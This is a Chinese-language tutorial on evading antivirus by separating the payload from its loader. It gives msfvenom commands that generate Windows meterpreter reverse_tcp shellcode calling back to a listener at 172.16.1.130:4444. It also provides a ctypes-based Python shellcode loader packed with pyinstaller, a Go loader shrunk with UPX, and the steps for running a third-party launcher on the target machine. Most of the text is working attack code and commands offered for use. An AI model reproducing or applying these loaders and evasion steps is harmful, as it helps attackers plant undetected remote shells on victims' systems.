payload分離免殺

shellcode loader
借助第三方加載器，將shellcode加載到內存中來執行。

https://github.com/clinicallyinane/shellcode_launcher

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -e x86/shikata_ga_nai -i 5 -f raw > test.c

靶機執行

shellcode_launcher.exe -i test.c

msf監聽正常上線
csc和InstallUtil
不再贅述，參考上文白加黑
偏僻語言
實際上也不能說偏僻語言，原理是讓殺軟不識別文件的pe頭。我們在這說兩種

pyinstaller
py版的shellcode模板

#! /usr/bin/env python
# encoding:utf-8

import ctypes

def execute():
    # Bind shell
    shellcode = bytearray(
    "\xbe\x24\x6e\x0c\x71\xda\xc8\xd9\x74\x24\xf4\x5b\x29"
        ...
    "\x37\xa5\x48\xea\x47\xf6\x81\x90\x07\xc6\x62\x9a\x56"
    "\x13"
     )

    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
    ctypes.c_int(len(shellcode)),
    ctypes.c_int(0x3000),
    ctypes.c_int(0x40))

    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
    buf,
    ctypes.c_int(len(shellcode)))

    ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_int(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0)))

    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),
    ctypes.c_int(-1))
if __name__ == "__main__":
    execute()

msfvenom -p windows/meterpreter/reverse_tcp LPORT=4444 LHOST=172.16.1.130 -e x86/shikata_ga_nai -i 5 -f py -o  1.py

使用pyinstaller打包

pyinstaller.py -F --console 1.py

和pyinstaller類似的還有py2exe，不再贅述。

go+upx
package main

import "C"
import "unsafe"

func main() {
    buf := ""
    buf += "\xdd\xc6\xd9\x74\x24\xf4\x5f\x33\xc9\xb8\xb3\x5e\x2c"
    ...省略...
    buf += "\xc9\xb1\x97\x31\x47\x1a\x03\x47\x1a\x83\xc7\x04\xe2"
    // at your call site, you can send the shellcode directly to the C
    // function by converting it to a pointer of the correct type.
    shellcode := []byte(buf)
    C.call((*C.char)(unsafe.Pointer(&shellcode[0])))
}

如果正常編譯體積會很大，建議使用go build -ldflags="-s -w"參數來編譯生成exe，你也可以go build -ldflags="-H windowsgui -s -w"去掉命令窗口

編譯出來900多kb，在使用upx壓縮一下會降低到200kb左右，也能正常上線。